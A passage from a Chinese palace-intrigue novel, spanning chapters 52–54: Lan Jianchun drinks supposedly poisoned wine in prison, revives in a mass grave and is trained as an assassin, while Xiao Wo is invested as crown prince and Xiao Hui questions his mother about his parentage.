萧沃敛眸,眼泪又往下滴,泪珠映着月光,像钻石。他把食盒和毒酒放在了牢房的小方桌上,沉默地掀开了食盒盖子,油泼辣子的辛辣香气撞进两个人的鼻腔。
“吃饭。”萧沃端出来两碗面条,分别摆上筷子。
“好。”兰见春坐在他对面,一手捧起碗,一手攥着筷子。她夹起裤袋宽的面条,直往嘴里塞。
对面的萧沃则双手撑着桌子,整个脸都埋进碗里,一边吃,一边哽咽。
一碗油泼辣子面,从他们的相识,吃到相知,最后相离时,依然是这碗面。
还记得他们第一次吃面时,兰见春狼吞虎咽;而今换了情形,咽不下去的倒成了兰见春。
面条在她口中反反复复,她就是咽不下去。
很快,萧沃的碗就见了底。他用帕子擦去嘴边的油,盯着兰见春腿上的面,失意道:“很难吃吗?”
兰见春摇头。
“吃吧,我做的。”萧沃把头扭向一边,“我第一次做饭,给个面子。”
“我怕吃完,就到点了。”兰见春歉疚地说。
“那你后悔吗?”萧沃始终望着铁窗外的月亮。
“后悔,”兰见春咬了一口面条,嚼了很久才咽下去,说,“也不后悔。”
萧沃沉默。
“我终于把欠我家人的,都还上了。”兰见春抿紧嘴唇,好半晌之后才说,“到了那边,跟所有人,都能有个交代。”
萧沃转头看向她,小声问:“那你欠我的呢?”
兰见春头低得快掉碗里了,嗫嚅道:“来生,我当牛做马,也要还殿下的恩情。”
“我不要来生。”萧沃心疼得快炸了。
“对不起。”她说,“可我只剩来生了。”
“我恨你。”萧沃捂住脑袋说。
“好。”
萧沃不甘心地又说:“我会恨你,一辈子。”
兰见春把碗放在了桌上,她深深地望着萧沃,如释重负地说:“好。”
“兰见春,”萧沃望着她的琥珀色眼睛,“如果再给你一次机会,你还会做出一样的选择吗?”
兰见春想了很久,对着他期待的眼神,撒不了谎。
“会。”
52. 狠心
“但我知道,我还没有将他们连根拔起。”兰见春遗憾地说,“但我也只能这样了,我尽力了……”
萧沃:“值得吗?明知道不会赢,还要飞蛾扑火?”
兰见春说:“虽然不彻底,但我也赢了。值得。”
“你不是怕死吗?”萧沃质问她,“你不是怕死吗?为什么那天还要——你不该故意激怒他。”
兰见春说:“上殿之前,我还在害怕。但走到那个地方,见到你被金吾卫摁在地上,我突然就不怕了。我感觉我不是一个人,我身后还有吴沟村的千百亡魂,他们陪我,我不怕了。”
“那我在你心里是什么?”萧沃无奈地问,“你不能为了我,选一个更好的办法吗?”
兰见春愧疚道:“殿下……”
“别叫我殿下。”萧沃不甘心地说,“看来,我始终都不如何瑞生,对不对?即便你知道,你对我而言万分重要,你也会为了他而选择放弃我,对不对?”
“您与瑞生不一样。”兰见春抬起头,终于敢直面萧沃的眼睛,“瑞生是我的亲人,如父如兄,没有他,我没法长大成人。
“我依赖他,所以自然而然地以为,我们做得好兄妹,也做得好夫妻。我将兄妹之谊与男女之情混为一谈,嫁给他的那天,我很高兴,很幸福,像回家那样……”
萧沃沉默。
“您是我的恩人,是朋友……没有您,我没法走到今天。”兰见春无比眷恋地说,“与您在一起的每一刻,我都很开心。您笑的时候,我也想笑。您难过的时候,我也难过的要哭了。
“虽然和您相处的时间不长,但和您在一起的每一个瞬间,都像蜜罐子一样,让现在的我倍感快乐。”
萧沃闭上了眼睛,眼泪肆意横流。
“有些事,我直到现在才敢承认。”兰见春泄了口气似的。
萧沃抬眸,与她相望。
“我对您的感情,与对瑞生的浑然不同。”兰见春说,“过去我一直不敢承认,我怕我说出来,我的心就动摇了。我如果为了那一点儿女情长,放下了家人的仇恨,我还有什么脸面活着呢?”
萧沃:“你现在终于说得出口了,因为你要死了,你欠他们的要还上了,对吗?”
“我没有遗憾了,”兰见春伸出手,为他擦去了眼泪,“荫槐。”
萧沃用自己的脸颊蹭她的掌心,仔细呼吸她身上的气味,他的鼻尖、胡茬蹭得兰见春手很痒——十指连心。
他握住兰见春的手腕,用指头在她的掌心写“萧荫槐”三个字,之后他又觉得不够,用腰间小刀割了一缕头发下来,塞到了她手里。
“我与王妃并未结发,我们终究是表面夫妻。”萧沃用自己的手包裹住兰见春的手,“在我心里,你才是我想娶的人。”
兰见春攥着他的头发,指甲盖嵌进了肉里。她拿过他的刀,也割了一缕头发放在萧沃掌心:“它会代替我,陪你好好活着。”
萧沃双手捧着那缕发,小心翼翼地把它塞进了自己的香囊中。
兰见春攥着他的头发,指甲盖嵌进了肉里。
她拿过他的刀,也割了一缕头发放在萧沃掌心:“以后,就有它代替我陪你。”
萧沃双手捧着那缕发,小心翼翼地把它塞进了自己的香囊中。怎么不算结发呢?怎么不算做了夫妻呢?
萧沃无比留恋地为她拂去额前的碎发,粲然而笑:“今天我萧荫槐,与兰见春,结发为夫妻,恩爱……两不疑。”
兰见春眼泪恣意纵横。
月光洒在他们两个人的身上,流淌的是他们还未开始就已经结束的情谊。
兰见春端起那杯鸩酒,朝天举起:“谢陛下成全。”
萧沃咬紧后槽牙,不让自己哭出声。
兰见春又举杯敬萧沃:“谢殿下来送我最后一程。”
她双手颤抖,把酒凑到了自己唇边,她尝试好多次,都不敢把那辛辣的液体灌进自己腹中。
萧沃握住了她的手腕,呢喃道:“别……我或许能帮你逃出去,我想试试……别……”
兰见春摇头:“殿下不能再犯错了。”
她垂眸看着那清透的液体,哽咽道:“我能上殿陈情,陛下因此处决了幕后之手,丘州、潼裕一片清明,这就是我最好的结局了。殿下,应该为我而高兴。”
“再等等……”萧沃恳求道,“我做的面,你还没吃完呢。不能饿着肚子走,不能……”
兰见春看着那碗面,似乎就看见萧沃在厨房里,笨手笨脚地揉面、扯面的样子。
他没下过厨房,肯定不知道多少面放多少水合适,或硬或稀,做坏了不少白||面吧?扯面的时候也找不好力度,两只大手往左右一拉,中间掏出个洞来,之后失望地再把面摁回去……
兰见春别开目光:“我怕我把面吃完了,就没力气去死了。”
她把目光从萧沃身上挪开,一闭眼,将鸩酒一仰而尽。
酒滑过喉管,滚进胃里,这感觉太清晰了,像吞了一把刀子。
兰见春懵懵地望着萧沃,片刻后,她感觉舌头发麻、发苦,精神逐渐不济,她向前栽倒,顺势扶住小桌子。带着腥气的血不断地往上涌,她很快就坚持不住了,吐出了一大口黑血。
萧沃将她揽进了怀里,他紧紧抱着她,企图将她的灵魂囚禁在自己的怀中,好保住她的命。
“小鳏夫……”兰见春双手握住了萧沃,她拼尽全力抬起头,使劲端详萧沃,想把他的模样刻在心上。
萧沃就跟让刀子插了心脏一样疼:“我恨你呀,我们还没大摆宴席,你竟舍得让我做鳏夫。”
兰见春被他抖得直笑,不断地吐黑血,呛得她直流泪,她感觉自己的身体越来越没力气,生命一点点地从她的身体里逝去。
“愿殿下如愿以偿、履至尊位……”她说。
“好,好,我一定,一定。”萧沃止不住地点头,泪晕浅了她的血的颜色。
兰见春的下巴低着他的颈窝,她的眼睛逐渐失焦,留在萧沃耳畔的最后一句话是:“香囊……并非是为感谢……我也,也……”
有些话她终究没说出口。
萧沃泣不成声。
—
萧沃惶惶地走出天牢,适时,天空中下起了小雨。
他伸出手,绵柔的雨落在他掌心,像她的长发。
他爱的人死在了盛平十一年的第一场春雨中,他憎恨春天。
萧沃走进雨幕中,泪流干了,无可奈何。他跨出大门,双腿直发软,每下一个台阶,都跟触电似的发抖。
他看见了很多人。
有母后,有泠妹,有乔竹心,还有她……雨幕像一面镜子,把他心中的亏欠都映得清清楚楚。
萧沃一步步地走下来,瘫在泥水里,可怜得很。
“大哥。”有人为他撑伞。
萧沃抬眸,竟又是萧锦。
“你来干什么?”萧沃这一回,没有把她往外推,他累了,彻底没力气了。
微风荡起萧锦鬓边的发,吹不散她眸中难言的情愫和心疼。她静静地站在萧沃身边,陪他挨这场雨。
“你知道我刚刚做了什么吗?”萧沃幽幽地说。
萧锦:“不知道。”
“我遵照父皇的旨意,杀了我最爱的人。”萧沃自嘲道,“我变成了父皇的一条狗,不要再对我抱有期待了。”
萧锦说:“我懂大哥的难处。”
萧沃低声说:“我不可能救你母亲,更不可能因为你,放过你二哥。”
“我知
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道。”萧锦垂眸,嗫嚅道。
“那你究竟想从我身上得到什么?”萧沃质问道,“你监视我,目的又是什么呢?”
萧锦的胸膛剧烈起伏:“我……”
“你有那样的母亲和兄长,我不可能再把你当做是我的妹妹。”萧沃叹了一口气,“你到底想要什么,说出来。”
萧锦望着他的眼睛,支支吾吾半天,才说:“臣妹说不出口。”
萧沃站起身,萧锦又追了上去,为他撑伞。萧沃一把把她的伞打落在地,抬高了声调说:“我不明白你!”
萧锦战战兢兢地望着那把伞,好像她的心也跟着伞骨一起断掉了。
“你看不出来,我很讨厌你们一家人吗?”萧沃指着萧锦的鼻子,“你娘、你哥,他们合起伙来毁了我一家人的一辈子!过去,我从未想过迁怒于你,可你为何一而再再而三地往我身上贴!为什么!”
萧锦蹲下,把被他摔坏的伞捡了起来,她垂着头,萧沃看不清她的表情。
萧沃闷闷地叹了口气,转身向远处走去。
“大哥。”萧锦叫住他。
萧沃驻足。
萧锦说:“兰见春死了,我很高兴。”
萧沃一个箭步冲到她面前,把她提到了自己面前:“你说什么?”
萧锦笑得很天真:“大哥喜欢的人死了,我很高兴。”
萧沃搡开了她:“……你疯了?”
萧锦却说:“她有什么值得你喜欢?一个嫁过人的乡野村妇,长得又不是一等一的漂亮,你什么好颜色没见过,为何会把心拴在这样一个不值得的人身上呢?”
萧沃扬起手,结结实实地打了她一巴掌,打得萧沃自己的掌心都火辣辣的。他怔然瞪着自己的手,没想到自己会动手打人。
萧锦捂着自己的半边脸,不甘心地说:“你又为了一个死人而打我。大哥,你真下得去手。”
“你——”萧沃咬咬牙,“也该清醒清醒了。”
萧锦啜泣:“大哥,我不明白,我到底差在了哪里?”
“你为何要把自己跟她在一起比较?”萧沃说,“我再讨厌你,我们也是同宗同父的兄妹,我们这辈子,就到此为止了。”
“我不甘心。”萧锦把断开的伞骨重新接上,小心地把伞收起来,“我到底差在了哪?你说,我就改。”
萧沃心如擂鼓,说:“我不会回答你的问题,永远都不会。”
“是么?”萧锦单手提着伞,脸上的妆早已让雨水、泪水晕脏了,“我可以等。”
萧沃脑袋嗡嗡的,他不知道该怎么办才好,萧锦看他的眼神,的的确确不一样。景思娴是他的表妹,她就从来不会用这种不清不楚、欲语还休的眼神看着自己。
萧沃还未从适才的悲恸中抽离,就被不知道从哪来的萧锦吓得冷汗涔涔。
“你知道分寸。”萧沃对萧锦说。
萧锦回眸,她的眼神很纯,纯得可怕:“或许吧。”
“你必须知道!”萧沃声音发颤,“不然,会害死你自己的!”
“多谢大哥关心。”萧锦说,“这世上,也就只有你关心我的死活了。”
萧沃用诧异的眼神看她。
“既然大哥不喜欢我,我走就是了。”萧锦抽抽鼻子,往皇宫的方向走,“大哥今天说的话做的事,我都清楚,是气话、伤心话,我不会往心里去。”
萧沃吓得连连后退。
“大哥放心,有些事,我不会告诉给任何人。”萧锦直视他的眼睛,要把他看穿了,“我希望大哥过得好。”
她指的是景思娴与叶崇的事。
萧沃答:“你最好说到做到。”
“秘密嘛,我到死都不会说的。”萧锦朝他颔首,“大哥保重。”
53. 新生
天空灰暗,阴风怒号。
一个穿粗麻线长衫的瞎眼老头推着辆板车,板车鼓鼓囊囊,最上面盖了层白布,布上还有云朵似的血团。路过的人瞧见了,纷纷朝板车的方向啐唾沫。
老瞎子颤颤巍巍的也看不清前路,突然感觉车身倾斜,一只轮子掉进了泥坑。
“哎呦!”他骂道,“这鬼老天!”
老头双手提着板车把儿,不停地往上提。车就跟在泥坑里落地生根了似的,怎么拔都出不来。瞎老头龇牙咧嘴地骂街:“狗|||操的老天爷,一天天地下雨!哪来的那么多眼泪儿,丧气货!”
他摸索板车的边缘,往掉进泥坑的那边去。他的手顺着板车边缘一寸寸地往前滑,忽然摸到了一个坚硬的……手。
那只手攥成拳头,一缕头发挂在她的掌心,老头从她身边一过,微动的空气卷起发梢,悄悄地带走一根青丝。
“哎呦!晦气。”老头连忙用衣服擦手,他刚刚摸了死人的手,“晦气,晦气!”
老头摸到了车轮,掰着车板铆足了劲往上提。
——车连动都不动。
那只手依旧顺着车板自然垂下,郎当着,跟着老头的动作左右晃动。她就像抓住最后的救命稻草似的,死死地抓住那缕头发不肯放开。
忽然一股力把车往上提,车轮很快就拜托了泥坑的束缚,走上了平地。
瞎老头连忙说:“谢,谢谢……”
“这一车的死人。”说话的听起来是个俊秀的小少年,声音跟刚摘的黄瓜似的脆、清新,但又带着一股青涩。
瞎老头摸着车板,蹒跚地回到把手处,双手抓着把手。
“老先生,您这是要送去哪……一二三四,身上还都带着伤。”
“乱葬岗。”
“是去东边那个,还是西边那个?”
“西边。”
“是小鹰山,还是老鹰山?”
“你这孩子怎么盘问那么多死人的事?”老瞎子不耐烦了,“这都是死狱里的牢犯,自然送去老鹰山。不该问的别问,小心被他们连累,也治你的罪。”
“是我多嘴了,不拦您的路,您慢行。”
老瞎子冷哼一声,继续骂骂咧咧地赶路。
那只手不甘心地攥着头发,路过了闹市,路过了小巷边缘,路过了荒凉的城外,路过了乌鸦叠叠的山,最终被老瞎子一股脑地从板车上卸到地上,跟已经溃烂的尸体混在一起。
手触碰到瞎了一只眼的死人脸,手心的青丝与死人的头发融在一起。白茫茫的雾压下来,将乱葬岗的尸体打湿。
“啊——啊——啊——”
枯树枝的乌鸦昂头对天空不停哀嚎,像是在埋怨它的黑暗,它的迷茫。忽然叫声戛然而止,它转头看向乱葬岗,扫视一地的白骨与腐肉,兴奋地在枝头蹦来蹦去。
乌鸦飞下树,站在一颗脑袋上,低头啄食紫红色的眼睛,它的喙刺进眼球,黑绿色的汁水喷溅,洒在了它黑色的翅膀上,洒在了蛆虫覆盖的脸上,洒在了一只伤痕累累的手上。
乌鸦意识到不对劲,停止了啄食,歪头打量不远处的“尸体”。
她闭着眼,突然皱起眉头,打了个激灵,睁开了眼睛。
兰见春盯着眼前的乌鸦:黑洞洞雾茫茫的夜中,它嘴里还叼着一块烂肉,身上不光有臭烘烘绿油油的血,还有肥硕的白蛆在蠕动。
恐惧如电流霎时跑遍她的四肢百骸,她惊跳起,可脚下踩到了一块滑腻腻的东西,她踉踉跄跄地摔下尸山。
兰见春屁股疼死了,跟有人拿棍子抽了她好几百下似的。她揉揉后腰,撑着地面勉强站起来。
她弓着背,站在尸山之前。枯树上的所有乌鸦霎时惊起而飞,带着“啊——啊——”的尖叫,搅乱了浓雾。
兰见春的头发全黏在脸上,她大口大口地呼吸着,不停地咽唾沫,嗓子就跟着了火似的。
耳边净是“咚咚咚”的心跳,她抬起手抹了把脸,太阳穴的血管凸凸地跳。
——这是在哪?
——地狱吗?
她浑身都在抖,她抬起右手,叩击自己的心房。
扑通、扑通、扑通……
她的心还在跳动,她的心居然还能跳动。
——没死吗?
——皇帝的鸩酒,都没能杀死我吗?
兰见春低声地笑,想起皇帝被自己气得发绿的老脸,想起上断头台的赵鹤,想起被皇帝抛弃的陈昀,想起在殿上猛猛磕头的萧回,她忍不住笑出声。
她放声大笑——狗皇帝,这都杀不了我。
她仰天大笑——狗老天,这都杀不了我。
你们也没办法杀死我了。
她于死无葬身之地重获新生,放肆嘲讽天地皇权的无能。
噼啪噼啪。
酝酿好久的春雨落下了。
兰见春张开双臂,昂起头享受甘霖,她感觉五脏六腑都变得畅快了,所有的冤屈,所有的不甘,所有的执念都随着春雨,融进她的血肉。
那株从西北的荒山野岭走出来的兰花,在上京的春雨中恣意生长。
“就叫见春。”
“兰花等到了春天,那就是新生活。”
二十三年前的惊蛰,父亲抱着她走下萃神山,给她取名为“见春”。
二十三年后的惊蛰,她在异地他乡野蛮生长,脚下就是沃土。
生生不息。
兰见春睁开眼,她望着灰茫茫的天,喜悦很快就如潮水一样褪去,她想起了萧沃,想起他怀里好闻的香气,想起他掌心的温暖,想起他割下头发递给自己时流下的眼泪……
“头发!”兰见春惊叫。
她连滚带爬地冲向尸山,顾不得尸体的恶心,爬到自己刚刚躺的位置,看清刚才滑了她一脚的是一块没烂完的肝脏。兰见春胃里一股股酸水往上涌,她别开目光,跪在一具尸体的背上,寻找散落的头发丝。
雨不停地下。
夜太黑了,发丝又太细了。
兰见春使劲推开一具具尸体,手胡乱地在尸体上摸着,她摸到了无数个人的头发,但都不是萧沃的,长度不对,颜色不对。
她怀疑是从大牢到乱葬岗的这一路,她将头发弄丢了。
怎么能弄丢呢?
那是心意呀。
兰见春坐在尸体上,抱着脑袋呜呜地哭,她弄丢了萧沃的心意,她弄丢了那份情真,她好自责。
“兰见春!”
有人唤她的名字。
她抬起头,望向来者。
那人穿着深黑色的夜行衣,腰间绑了一根正红色的衣带。兰见春眯起眼,看清了她的模样:
“司丞……”
兰见春用手臂擦擦眼睛,她难以置信地走下尸山,难以置信地走向乔竹心。
“司丞?”兰见春站定,颤颤巍巍地伸出手,“司丞?”
乔竹心双手捧住了兰见春的脸。她仔仔细细地观察兰见春,拇指触碰她的眉眼,又心疼,又欣慰。
兰见春感受到她的温度,哽咽道:“她们都说您死了。”
“假的。”乔竹心把她抱进了怀里,“我没死。”
“这都是什么事……”兰见春哭着说,“我不明白,为什么……”
“陛下没有杀我,不光给我留了一口气,还把晦朔司司丞的金腰牌留给了我。之后他放火烧白云观,一个道士救我逃出火场。我安置好自己后,和吴泪、何白一起,将鸩酒调换为假死药,就等你被送到乱葬岗。见春,我们没死,我们都活了下来。”
兰见春松了口气:“谢谢司丞……”
乔竹心望着她的眼睛:“我已经是个‘死人’了,不需要再叫我司丞。见春,跟我走,我会把你再送回上京。”
兰见春想起上京那帮魑魅魍魉,不由得生出一股无力感:“我们还有什么办法吗?”
“陛下知道我和吴泪都站在了岷王身后,所以不光放了一把火烧死了‘乔司丞’,还借此将吴泪革职,卸掉了岷王在晦朔司中的势力。但我们都没死,这场仗就没有输。赵鹤与陈昀倒了,但屹王还在,我们还要跟他们继续斗。”
兰见春问:“屹王,就是‘上位’吗?”
乔竹心犹豫片刻后摇头:“我不清楚,但能确定的是,‘上位’所作所为都是为了推屹王登上帝位。”
兰见春抬起头:“我明白了。”
乔竹心看着她:“明白什么?”
“岷王与屹王,就是天平的两端。”兰见春说,“陛下不允许任何一方倾斜,为的就是让他们互相残杀,直到活下来一个。屠杀吴沟村的是‘上位’,‘上位’是屹王的人,而纵容这一切的,是皇帝。皇帝不死,屹王不死,我们就不算赢。”
乔竹心眼睛很亮:“对,就是这样。”
“需要我做什么?”兰见春暗暗地攥起了拳头。
“我会将你训练成比晦院的人还要强的刺客,待到时机成熟,你就回到岷王的身边,与他一起,扳倒屹王。”乔竹心说,“这段时间,我与吴泪会继续搜集情报,屹王一党为非作歹,断不可让他登上皇位。”
“我全听你的。”
“跟我走,”乔
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竹心从袖中取出一段红色的衣带,绑在了兰见春的腰上,轻声说,“红色的,辟邪。”
—
乔竹心带兰见春离开了老鹰山,她们骑着马,一路往南方去。
不知道跑了几天几夜,她们最终停在一处山洞前。春天,这里满目都是青绿,溪水迢迢,树木繁茂,一呼一吸间都是草木的清香,那气味穿越肺腑,舒缓了她们近几天奔波的劳累。
她们把马栓在山洞之前,踩着一地青苔,往里面走。
“嘀嗒嘀嗒嘀……”水珠打在石块上的声音清晰可闻,大概是这样滴了百年千年,水滴石穿。
兰见春跟随乔竹心越往洞中深处去,湍急的水声就越来越清晰,直到洞口尽头,豁然开朗。
蔚蓝的天,澄绿的湖,一道瀑布天上来,山似母亲的怀抱,将湖抱在怀里。有轻鸥,来点破,一泓水。
汀岸上,有两间茅草屋,茅草屋的前方的空地上数着五根木桩,还有两个身长玉立的女子等在那。
吴泪与何白转身望着兰见春和乔竹心。
“老师。”吴泪、何白异口同声地给乔竹心行礼。
“这是你的大师姐和二师姐。”乔竹心给兰见春介绍她们,“这里没有晦朔司,今后,我们以师生相称。”
兰见春眼睛蓦然亮了,她望着乔竹心,望着吴泪与何白,过去这都是她的上司,现在成了她的老师和同门。离开充满条条框框的官署,大家都心平气和得,没有所谓的架子。
兰见春跪了下来,给乔竹心磕头。
是的,乔竹心救她有其他的目的,但其实没必要费那么大力气去救一个死刑犯。乔竹心救她,实为不忍,不希望这样一颗赤诚坚韧的心,就此埋没在乱葬岗的尸体中。
兰见春明白乔竹心的悲悯,明白她冷漠的皮囊之下,还藏着金子一样的发光的灵魂。
“别磕了,够了。”乔竹心把她扶起来,帮她擦去额头上的小沙砾,“不用那么多礼数。”
“谢谢老师。”兰见春看向她身后的吴泪、何白,“谢谢两位师姐。没有你们,我活不下来。”
“不用说谢谢,”吴泪笑着说,“我们都不希望你死。”
“对呀。”何白故作轻松地说,“大牢归我晦院甲处所管,救你,易如反掌。”
兰见春破涕而笑。
“以后,我们不光是师生,”乔竹心揽着兰见春的肩膀,对吴泪何白说,“我们还是同生共死的家人。”
“家人?”兰见春又忍不住红了眼眶,在瑞生死后,她曾经悲观地以为,自己再也不会有家人了。
“一家子就别见外。”吴泪在她面前打了个响指,“哭什么呀,以前可没怎么见过你哭。”
兰见春用袖子抹抹眼泪:“嗯,我不哭。”
“对了!”吴泪转身进茅草屋,搬出来一个大箱子,打开把里面的东西露出来,“前个我去了一趟你家,把你的刀和弓拿过来了。”
兰见春走上前,箱子里正是萧沃送给她的梅隐和柘木弓。她双手抓住梅隐,像护着孩子一样把刀抱在了怀里。
“我就知道,你肯定舍不得它们。”吴泪说,“这么好的刀,别丢在那间屋子里吃灰。”
兰见春哽咽道:“谢谢……”
“还有。”吴泪从袖中抓出三枚铜钱,“你之前落在我家的,我现在还给你。”
兰见春接过铜钱,她笑了:“这东西算不好我的命。”
“绝处逢生,”乔竹心笑着说,“卦算不出来。”
兰见春把铜钱揣进了自己腰带里,她一直笑,她有了不离不弃的家人,她的人生再次圆满,很幸福,很温暖。
时光流转,斗转星移。
兰见春在这山涧深处的小院日日练功,她的指甲缝里都是烂糟的木屑和血迹。
乔竹心的唠叨声不止:
“力度不够,再来!”
“出招不对,再来!”
“腰腿不能晃,再来!”
……
她总是累得大汗淋漓,却不敢停下,她怕乔竹心的藤条落下来。当然,乔竹心从来没用那玩意惩罚过她。
时光荏苒,她在这里度过春夏秋冬。
她的臂膀越来越强壮,一只手就能攀住屋檐,把自己整个人往上提;她的刀法越来越快,甚至能在十招之内取何白的咽喉;她的箭术越来越准,把眼睛蒙上,都能射中飞湍中的鱼。
每日习武四个时辰、读书三个时辰,除了吃饭睡觉,她不曾有一刻休息。
“只有你足够强,将来回到上京,才能有一条活路。”
54. 杀母
磬音楼今夜的戏是《拷红》。
叶崇赶来赴景思娴的约,他特地打扮了一番,可又怕别人发现他的踪影,在漂亮的锦袍外他又套了一个黛色的披风,戴上了大兜帽才敢往磬音楼里去。
他顺着旋转楼梯往上,到达位于顶部的一处雅间。他站在门边再次整理好袖口和衣襟,才推开了门。
“娴——”
叶崇的笑容僵在了脸上,一颗心继续下坠,直接摔在了地上,啪的一声碎成了沫沫。
萧沃回眸盯着他。萧沃一身白,像是在给谁带孝似的,他的眼神颇为落寞,在热闹的磬音楼里显得格格不入。
“怎么是你?”叶崇不甘心地问,“怎么会是你呢?”
萧沃从怀中取出一封信放在了桌上:“王妃托本王给小侯爷送信。”
叶崇慢吞吞地走过去,拾起桌上的信,表面是景思娴遒劲的字体,写着“慕之亲启”,背面则是火漆封口,并无拆封的痕迹。
这封信由萧沃送给自己,叶崇大概知道里面写了什么。他犹豫半天,才拆开信,余光一扫内容,他马上闭上了眼睛。
此时戏台上传来旦角清脆的嗓音:
“则着你夜去明来,倒有个天长地久,不争你握雨携云,常使我提心在口。则合带月披星,谁着你停眠整宿①……”
叶崇捏着那信,豆大的眼泪掉在了纸上。
“慕之,伤还疼吗?听闻你回府之后,侯爷夫人为你寻了不少媒人,也有合适的女子与你相配。是好事,慕之定要听从父母之意,寻一良人共度余生……”
叶崇不停地擦眼泪,像个孩子似的:“殿下,这是假的吧?”
萧沃:“王妃亲笔,亲手递到本王手上,亲口叮嘱本王定要交到你手上、看你读过信才行。”
“你我二人,切勿一错再错。”
——这是景思娴的最后一句。
叶崇哽咽道:“怎么突然不要我了,殿下,为什么?”
“赵家、陈家接连覆灭,前朝都盯着本王与景家,思娴与本王都错不起了。”萧沃直愣愣地盯着戏台,“澄阳侯执掌禁军,此时要保命,也应保持中立。小侯爷也不希望家人为自己所累吧?”
叶崇倔强地说:“我不娶,我不想和不喜欢的人过一辈子。”
萧沃很同情他。
叶崇说:“殿下之前答应我们的,还做不做数?”
成婚之初,萧沃答应过景思娴,等皇帝驾崩,等再也没有人强迫他们在一起,他就写和离书,放景思娴和叶崇远走高飞。
萧沃点头:“作数。”
叶崇使劲点头:“我会等的。”
萧沃问:“你怎么等?你已经二十一岁了,再不成婚,等着让唾沫星子淹死吗?”
“我会去修白云观,之后,留在那修行。”叶崇抽抽鼻子,“我等着那一天。”
萧沃抿了口茶,说:“如果不愿强迫自己,上山修行也能落个清净。只要你考虑好,说服澄阳侯和侯夫人,不成婚也是对的。”
叶崇抹干净鼻涕眼泪,说:“殿下若需要澄阳侯府,慕之和父亲,会助殿下一臂之力。”
萧沃点头。
叶崇把景思娴的信放在蜡烛上烧干净,不留任何痕迹。
“不留下把这一折听完吗?”萧沃问。
“不了,”叶崇说,“臣告退。”
—
盛平十一年,惊蛰,金銮殿。
殿门缓缓拉开,萧沃头戴九旒冕,身着玄衣纁裳,跨进了大殿中。
皇帝只看了他一眼,便将目光挪到了一旁畏畏缩缩的萧回身上。他正盯着地面,唇边挂着不甘心的苦笑。
汪琢摊开圣旨,众臣纷纷跪下。
“奉天承运皇帝召曰——”
萧沃的第一步,踩在了殿内阳光找不到的暗处,像踩在母后的血泊中。
“皇长子沃,其性秉温良,克勤克慎,智勇昭彰。上则恪尽孝道于宫闱;下则广施仁泽于宇内——”
萧沃的第二步、第三步,依然没有跨出那片黑暗,像被困在潼裕百姓的血泪中,像被困在千千万万百姓不曾说出口的冤屈、悲苦中。
“稽古训,立嫡立长——”
萧沃的第四步,终于沾到了一点点阳光,像是抓住了那个慌张逃跑女子的手。
“兹以皇长子沃,英姿玉裕,上慰祖宗之灵,下孚臣民之望——”
萧沃的第五步,他完全浸润在阳光中,就像在宗正寺时,他躺在她温柔的怀抱一样。
“特册封为皇太子,授以册宝,正位东宫!”
萧沃掀起衣摆,登上了台阶。这一步步,每一步都要靠亲人、爱人、百姓的血肉才能爬上来,这衮冕九章,何尝不是镣铐,何尝不是他的罪证?
“布告天下,咸使闻知——钦此!”
萧沃跪在皇帝面前,毕恭毕敬地行三拜九叩大礼。
萧回在一旁冷眼旁观,眼神极其复杂。他眯起眼睛看萧沃的朝服,肩膀上的日月星辰闪烁着光芒,竟然那么刺眼。
真的不想要吗?萧回问自己。
父皇的期待,群臣的臣服,真的不想要吗?真的能放下吗?
从他现在站的位置到龙椅,只有五级台阶。
只有五级,却死了那么多人,保住他的位置。
赵家满门抄斩那天,赵照把自己关在房间里一整天,水米不进。
后来,赵照用失望的眼神望着自己,她一句话都没说,却把自己骂了个狗血淋头。
比起失败,萧回更不敢看别人失望的眼神。
—
是夜,微雨。
萧回撑着油纸伞,来到了冷宫。
他走进荒草丛生的院子,却特地避开了长草的砖缝。他最后停在一处逼仄的小房间前,敲了敲门。
“母亲。”他呼唤陈昀。
无人应答。
“母亲,”萧回推开了门,跨了进去,他看见床上躺着一具枯萎的身体,“母亲。”
萧回坐在了陈昀的床边,把手搭在了她的肩头,之后俯下身,伏在她身上,抱住了她。
“你还来找我做什么?”陈昀低声道,“我对你而言,还有什么用呢?”
“萧沃被封为太子,今天是他的册封礼。”萧回说。
陈昀失望地闭上眼,她没眼泪,都流干了:“我听见了礼乐。”
“我看见他穿着衮冕九章,辉煌得……耀眼。”萧回看向窗外,风裹着细雨,打在了窗台上,春风微微凉,还有些刺骨。
陈昀反问:“这不就是你所期待的,萧沃为储,将来他为帝,而你做一个闲散王爷,逍遥一生。泊舟,这不就是你想要的吗?为什么遗憾呢?”
萧回低声说:“可是母亲,我并不觉得快乐。”
“我不知道你想要什么。”陈昀冷冷地说,“我养了你这么多年,我竟不知道你想要什么。”
萧回凤眼阖动:“小时候,我希望母亲做个慈母,做比景怡还要温柔的母亲。结果母亲对我非打即骂,从来没有夸赞过我。”
陈昀沉默。
萧回继续说:“长大后,我害怕母亲失望,害怕我的妻子失望。我不敢反驳你们,你们给我的一切,我都照单全收。我能从一个无人问津的孩子,走到父皇跟前,都是靠你们。”
陈昀问:“你心里跟个明镜一样,为什么还要做扶不上墙的阿斗?”
萧回:“你们做的太过了,我怕会把我们都搭进去。”
陈昀怒道:“自作聪明,你若信我,今日受册封的就是你。”
“多行不义必自毙。”萧回说,“我和大哥只有斗来斗去,才能都活下去。你们的所作所为,父皇都看在眼里,赢不了,我们斗不过父皇。”
陈昀心里像堵了一块大石头似的。
“进也不行退也不行,你到底想要干什么。”陈昀问。
萧回转头望着陈昀,他伸出手,触碰她的脸颊,陈昀被他冰凉的手冻得一激灵。
萧回笑道:“母亲,我到底是谁的孩子?”
陈昀讶异地看着他:“你都知道了,为何还要来问我?”
萧回嗫嚅道:“因为我想听母亲亲口回答我。”
“现在追究这些,有什么意义?”陈昀泄了口气,“我堕入冷宫,赵家、陈家都完了。无论你是谁的孩子,如今都不重要了,对吗?”
萧回坚定道:“回答我,母亲,我到底是谁的孩子?”
陈昀望着他与皇帝如出一辙的眉眼,冷笑:“你是陛下的孩子。”
萧回:“我问我娘是谁。”
陈昀嗤笑:“重要吗?无论她是死还是活,都跟你没有关系了。”
萧回失望地说:“都到现在了,你还是不会回答我的问题。”
陈昀别过头:“我答应过你娘,把秘密烂在肚子里。你可以自己去查,但我不会告诉你的。”
萧回站起来,退到
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远处,望着陈昀的背影,失望地说:“好。”
萧回挠胳膊上的伤疤,挠得很快,马上就挠掉了一层皮。特别痒,妻子说这是伤口要好了,只有萧回知道,痒的不是伤口,而是罪恶的灵魂。
陈昀问:“你还没回答我的问题。”
